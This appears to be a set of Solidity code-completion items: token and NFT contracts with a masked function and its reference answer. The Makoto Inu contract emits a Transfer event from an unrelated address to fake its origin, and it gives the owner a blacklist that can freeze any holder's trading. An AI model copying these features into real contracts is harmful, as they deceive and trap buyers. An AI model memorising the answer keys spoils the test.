mailComments[_tokenId].length; } }
contract EthereumMailService is ERC721URIStorage { using Counters for Counters.Counter; Counters.Counter private tokenId; using SafeMath for uint256; EMS public ems; event Post(string ipfsHash); event Like(uint256 _tokenId); event Comment(uint256 _tokenId, string ipfsHash); event Remail(uint256 _tokenId); event GenNFT(uint256 _tokenId,string ipfsHash); mapping(address => uint256[]) public mails; mapping(address => uint256[]) public likes; mapping(address => uint256[]) public commentsValueIndex; mapping(address => mapping(uint256 => uint256[])) public comments; mapping(address => uint256[]) public remails; mapping(uint256 => uint256) public mailLikes; mapping(uint256 => uint256[]) public mailComments; mapping(uint256 => uint256) public mailRemails; constructor(EMS _ems) public ERC721("Ethereum Mail Service", "EMS") { ems = _ems; } function getMintBase() public view returns (uint256) { uint256 left = 210000000000 * 10**ems.decimals() - ems.totalSupply(); return left.div(10**4); } function post(string memory _ipfsHash) public { tokenId.increment(); mails[msg.sender].push(tokenId.current()); _genNFT(tokenId.current(), _ipfsHash); uint256 base = getMintBase(); _mintEMS(msg.sender, base); emit Post(_ipfsHash); } function _genNFT(uint256 _tokenId, string memory _ipfsHash) internal { _safeMint(msg.sender, _tokenId); _setTokenURI(_tokenId, _ipfsHash); emit GenNFT(_tokenId, _ipfsHash); } function like(uint256 _tokenId) public { likes[msg.sender].push(_tokenId); mailLikes[_tokenId] = mailLikes[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Like(_tokenId); } <FILL_FUNCTION> function remail(uint256 _tokenId) public { remails[msg.sender].push(_tokenId); mailRemails[_tokenId] = mailRemails[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Remail(_tokenId); } function _mintEMS(address _account, uint256 _amount) internal { ems.mint(_account, _amount); } function getMailsLength(address _account) public view returns (uint256) { return mails[_account].length; } function getLikesLength(address _account) public view returns (uint256) { return likes[_account].length; } function getCommentsValueIndexLength(address _account) public view returns (uint256) { return commentsValueIndex[_account].length; } function getCommentsLength(address _account, uint256 _tokenId) public view returns (uint256) { return comments[_account][_tokenId].length; } function getRemailsLength(address _account) public view returns (uint256) { return remails[_account].length; } function getMailCommentsLength(uint256 _tokenId) public view returns (uint256) { return mailComments[_tokenId].length; } }
tokenId.increment(); _genNFT(tokenId.current(), _ipfsHash); comments[msg.sender][_tokenId].push(tokenId.current()); if (comments[msg.sender][_tokenId].length == 1) { commentsValueIndex[msg.sender].push(_tokenId); } mailComments[_tokenId].push(tokenId.current()); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Comment(_tokenId, _ipfsHash);
function comment(uint256 _tokenId, string memory _ipfsHash) public
function comment(uint256 _tokenId, string memory _ipfsHash) public
68200
B21Token
transfer
contract B21Token is BurnableToken { string public constant name = "B21 Token"; string public constant symbol = "B21"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (500 million) uint256 public constant HARD_CAP = 500000000 * 10**uint256(decimals); /// The owner of this address are the B21 team address public b21TeamTokensAddress; /// This address is used to keep the bounty tokens address public bountyTokensAddress; /// This address is used to keep the tokens for sale address public saleTokensVault; /// This address is used to distribute the tokens for sale address public saleDistributorAddress; /// This address is used to distribute the bounty tokens address public bountyDistributorAddress; /// This address which deployed the token contract address public owner; /// when the token sale is closed, the trading is open bool public saleClosed = false; /// Only allowed to execute before the token sale is closed modifier beforeSaleClosed { require(!saleClosed); _; } /// Limiting functions to the admins of the token only modifier onlyAdmin { require(msg.sender == owner || msg.sender == saleTokensVault); _; } function B21Token(address _b21TeamTokensAddress, address _bountyTokensAddress, address _saleTokensVault, address _saleDistributorAddress, address _bountyDistributorAddress) public { require(_b21TeamTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); require(_saleTokensVault != address(0)); require(_saleDistributorAddress != address(0)); require(_bountyDistributorAddress != address(0)); owner = msg.sender; b21TeamTokensAddress = _b21TeamTokensAddress; bountyTokensAddress = _bountyTokensAddress; saleTokensVault = _saleTokensVault; saleDistributorAddress = _saleDistributorAddress; bountyDistributorAddress = _bountyDistributorAddress; /// Maximum tokens to be allocated on the sale /// 250M B21 uint256 saleTokens = 250000000 * 10**uint256(decimals); totalSupply = saleTokens; balances[saleTokensVault] = saleTokens; emit Transfer(0x0, saleTokensVault, saleTokens); /// Team tokens - 200M B21 uint256 teamTokens = 200000000 * 10**uint256(decimals); totalSupply = totalSupply.add(teamTokens); balances[b21TeamTokensAddress] = teamTokens; emit Transfer(0x0, b21TeamTokensAddress, teamTokens); /// Bounty tokens - 50M B21 uint256 bountyTokens = 50000000 * 10**uint256(decimals); totalSupply = totalSupply.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; emit Transfer(0x0, bountyTokensAddress, bountyTokens); require(totalSupply <= HARD_CAP); } /// @dev Close the token sale function closeSale() public onlyAdmin beforeSaleClosed { saleClosed = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(saleClosed) { return super.transferFrom(_from, _to, _value); } return false; } /// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract B21Token is BurnableToken { string public constant name = "B21 Token"; string public constant symbol = "B21"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (500 million) uint256 public constant HARD_CAP = 500000000 * 10**uint256(decimals); /// The owner of this address are the B21 team address public b21TeamTokensAddress; /// This address is used to keep the bounty tokens address public bountyTokensAddress; /// This address is used to keep the tokens for sale address public saleTokensVault; /// This address is used to distribute the tokens for sale address public saleDistributorAddress; /// This address is used to distribute the bounty tokens address public bountyDistributorAddress; /// This address which deployed the token contract address public owner; /// when the token sale is closed, the trading is open bool public saleClosed = false; /// Only allowed to execute before the token sale is closed modifier beforeSaleClosed { require(!saleClosed); _; } /// Limiting functions to the admins of the token only modifier onlyAdmin { require(msg.sender == owner || msg.sender == saleTokensVault); _; } function B21Token(address _b21TeamTokensAddress, address _bountyTokensAddress, address _saleTokensVault, address _saleDistributorAddress, address _bountyDistributorAddress) public { require(_b21TeamTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); require(_saleTokensVault != address(0)); require(_saleDistributorAddress != address(0)); require(_bountyDistributorAddress != address(0)); owner = msg.sender; b21TeamTokensAddress = _b21TeamTokensAddress; bountyTokensAddress = _bountyTokensAddress; saleTokensVault = _saleTokensVault; saleDistributorAddress = _saleDistributorAddress; bountyDistributorAddress = _bountyDistributorAddress; /// Maximum tokens to be allocated on the sale /// 250M B21 uint256 saleTokens = 250000000 * 10**uint256(decimals); totalSupply = saleTokens; balances[saleTokensVault] = saleTokens; emit Transfer(0x0, saleTokensVault, saleTokens); /// Team tokens - 200M B21 uint256 teamTokens = 200000000 * 10**uint256(decimals); totalSupply = totalSupply.add(teamTokens); balances[b21TeamTokensAddress] = teamTokens; emit Transfer(0x0, b21TeamTokensAddress, teamTokens); /// Bounty tokens - 50M B21 uint256 bountyTokens = 50000000 * 10**uint256(decimals); totalSupply = totalSupply.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; emit Transfer(0x0, bountyTokensAddress, bountyTokens); require(totalSupply <= HARD_CAP); } /// @dev Close the token sale function closeSale() public onlyAdmin beforeSaleClosed { saleClosed = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(saleClosed) { return super.transferFrom(_from, _to, _value); } return false; } <FILL_FUNCTION> }
if(saleClosed || msg.sender == saleDistributorAddress || msg.sender == bountyDistributorAddress || (msg.sender == saleTokensVault && _to == saleDistributorAddress) || (msg.sender == bountyTokensAddress && _to == bountyDistributorAddress)) { return super.transfer(_to, _value); } return false;
function transfer(address _to, uint256 _value) public returns (bool)
/// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool)
23893
MakotoInu
_transfer
contract MakotoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Makoto Inu"; string private constant _symbol = "MAINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _feeAddrWallet2 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract MakotoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Makoto Inu"; string private constant _symbol = "MAINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _feeAddrWallet2 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount);
function _transfer(address from, address to, uint256 amount) private
function _transfer(address from, address to, uint256 amount) private
4140
Migrations
upgrade
contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() { owner = msg.sender; } function setCompleted(uint completed) restricted { last_completed_migration = completed; } function upgrade(address new_address) restricted {<FILL_FUNCTION_BODY> } }
contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() { owner = msg.sender; } function setCompleted(uint completed) restricted { last_completed_migration = completed; } <FILL_FUNCTION> }
Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration);
function upgrade(address new_address) restricted
function upgrade(address new_address) restricted
75983
ERC721
transferFrom
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI, '.json')); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, (tokenId.toString()), ".json")); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId,) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override {<FILL_FUNCTION_BODY> } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop 